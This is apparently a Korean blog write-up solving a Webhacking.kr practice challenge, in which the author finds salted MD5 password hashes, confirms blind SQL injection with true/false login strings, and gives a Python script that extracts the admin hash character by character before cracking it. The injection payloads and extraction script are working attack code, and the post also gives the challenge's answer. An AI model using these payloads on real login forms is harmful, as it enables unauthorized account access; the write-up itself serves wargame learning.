문제 페이지는 해당 페이지와 같다.
id와 password 입력창과 login, join 버튼이 존재한다.
해당 페이지에 적혀있는 문구를 보면 admin으로 로그인 하면 문제가 풀린다는 것을 알 수 있다.
먼저 join 버튼을 눌러 username: guest / password : guest 로 가입한다.
메인 페이지로 이동하여 guest로 로그인한다.
패스워드의 해시값이 나오는 것이 확인된다.
문자열이 32비트인 것으로 보아 md5로 암호화 된 듯하여 md5 복호화를 해주는 사이트로 이동하여 복호화 시킨다.
https://www.md5online.org/md5-decrypt.html
guestapple 로 복호화가 된 것이 확인되었는데 이는, apple이 salt 값으로 추가되어 암호화 되었기 때문이다.
다른 경우에도 salt 가 apple 인지 확인하기 위해 username : test / password : test 로 가입하여 로그인 한다.
test 로 로그인하여 패스워드의 해시값을 알아낸 후 md5 복호화 사이트에서 복호화 한다.
test의 패스워드도 salt 값으로 apple이 추가되어 암호화 된 것을 확인 할 수 있었다.
SQL 인젝션을 사용하여 admin의 password 의 해시값을 알아내어 복호화한 후 apple를 제외한 값으로 로그인 하면 문제가 풀릴 것 같다.
Blind SQL injection 공격이 가능한지 확인하기 위하여 username 입력창에 항상 참이되는 구문과 거짓이 되는 구문을 넣어 확인한다.
로그인 시 해당 계정정보가 맞는지 확인할 때 where username='A' and password='B' 로 검색한다.
username 입력창에 admin' or '1'='1 # 를 입력하여 where username='admin' or '1'='1' # and password='B' 가 되어 password 부분은 주석처리되고 username 부분으로 항상 참이 되는 구문을 검색하도록 만든다.
항상 참인 구문을 입력한 경우 Wrong password! 라는 구문이 출력되는 것을 확인 할 수 있다.
같은 방법으로 username 입력창에 admin' and '1'='2 # 를 입력하여 항상 거짓인 구문을 검색하도록 만든다.
항상 거짓인 구문을 입력한 경우 Login Fail! 이라는 문구가 출력되는 것을 확인 할 수 있다.
참과 거짓인 구문을 입력한 경우 결과가 다른 것으로 보아 Blind SQL injection 공격이 가능하다는 것을 알 수 있다.
메인 페이지의 소스 코드를 확인하여 입력 폼들의 name 을 확인한다.
입력 폼들의 name이 uuid 와 pw 인 것을 확인하였다.
이를 사용하여 python 프로그램을 만들어 sql injection 공격을 실행한다.
import requests
url='https://webhacking.kr/challenge/bonus-2/index.php'
# password length 구하기
data={}
pw_len=1
while True:
data['uuid']="admin' and length(pw)={}#".format(pw_len)
data['pw']=None
response=requests.post(url, data=data)
if "Wrong" in response.text:
break
pw_len+=1
print(pw_len)
# password 한 자리씩 구하기
password=""
for i in range(1, pw_len+1):
for j in range (128):
data['uuid']="admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
data['pw']=None
response=requests.post(url, data=data)
if "Wrong" in response.text:
password+=chr(j)
break
print(password)
해당 프로그램을 실행한 경우 admin의 암호화된 패스워드가 나온다.
해당 해시값을 md5 복호화 사이트를 통해 복호화를 시켜준다.
salt 값인 apple를 제외한 wow 를 이용하여 admin 사용자로 로그인 하면 문제가 풀리는 것을 확인할 수 있다.
'프로젝트 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge(old) 28번 문제 (0) | 2021.07.13 |
---|---|
[Webhacking.kr] Challenge(old) 23번 문제 (0) | 2021.07.13 |
[Webhacking.kr] Challenge(old) 16번 문제 (0) | 2021.07.12 |
[Webhacking.kr] Challenge(old) 27번문제 (0) | 2021.07.08 |
[Webhacking.kr] Challenge(old) 26번 문제 (0) | 2021.07.08 |